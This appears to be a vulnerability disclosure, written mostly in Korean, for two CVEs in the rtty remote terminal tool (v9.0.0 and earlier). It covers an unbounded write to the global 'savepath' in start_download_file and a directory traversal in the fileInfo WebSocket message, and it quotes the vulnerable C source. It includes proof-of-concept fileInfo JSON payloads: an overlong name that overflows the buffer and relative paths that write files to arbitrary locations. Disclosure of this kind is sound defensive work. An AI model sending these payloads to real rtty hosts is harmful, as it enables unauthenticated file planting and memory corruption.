
CVE-2025-56708&CVE-2025-56709漏洞详解
rtty <=v9.0.0 버전에서 fileinfo 메서드에 오버플로우 취약점이 존재합니다. 이 취약점으로 인해 데이터가 전역 변수 savepath에 계속 기록되어 버퍼 오버플로우가 발생합니다.
savepath는 계속 쓰여질 수 있어 오버플로우를 유발합니다.
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
char *name = savepath + strlen(savepath);【1】
struct mntent *ment;
struct statvfs sfs;
char buf[512];
int fd;
ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);
ment = find_mount_point(savepath);
if (ment) {
uint64_t avail;
if (!strcmp(ment->mnt_type, "ramfs")) {
struct sysinfo si;
if (sysinfo(&si)) {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
avail = si.freeram;
} else if (!statvfs(ment->mnt_dir, &sfs)) {
avail = sfs.f_bavail * sfs.f_frsize;
} else {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
if (ctx->total_size > avail) {
log_err("download file fail: no enough space\n");
goto check_space_fail;
}
} else {
log_err("download file fail: not found mount point of '%s'\n", savepath);
goto check_space_fail;【2】
}
buffer_pull(info, name, len - 4);
if (!access(savepath, F_OK)) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
log_err("the file '%s' already exists\n", name);
goto open_fail;
}
fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
if (fd < 0) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
log_err("create file '%s' fail: %s\n", name, strerror(errno));
goto open_fail;
}
log_info("download file: %s, size: %u\n", savepath, ctx->total_size);
if (fchown(fd, ctx->uid, ctx->gid) < 0)
log_err("fchown %s fail: %s\n", savepath, strerror(errno));
if (ctx->total_size == 0)
close(fd);
else
ctx->fd = fd;
memcpy(buf, &ctx->total_size, 4);
strcpy(buf + 4, name);
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));
return;
check_space_fail:
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
buffer_pull(info, name, len - 4);【3】
open_fail:
file_context_reset(ctx);
}
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}
https://github.com/zhaojh329/rtty/issues/139
rtty <=v9.0.0 버전에 디렉터리 트래버설 취약점이 존재합니다. 상호작용 프로토콜에서 fileinfo 메서드에 논리적 취약점이 있어, 공격자가 WebSocket을 가로채고 fileinfo 메서드를 호출하여 사용자 로그인 없이 시스템의 임의 경로에 파일을 업로드할 수 있습니다.
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
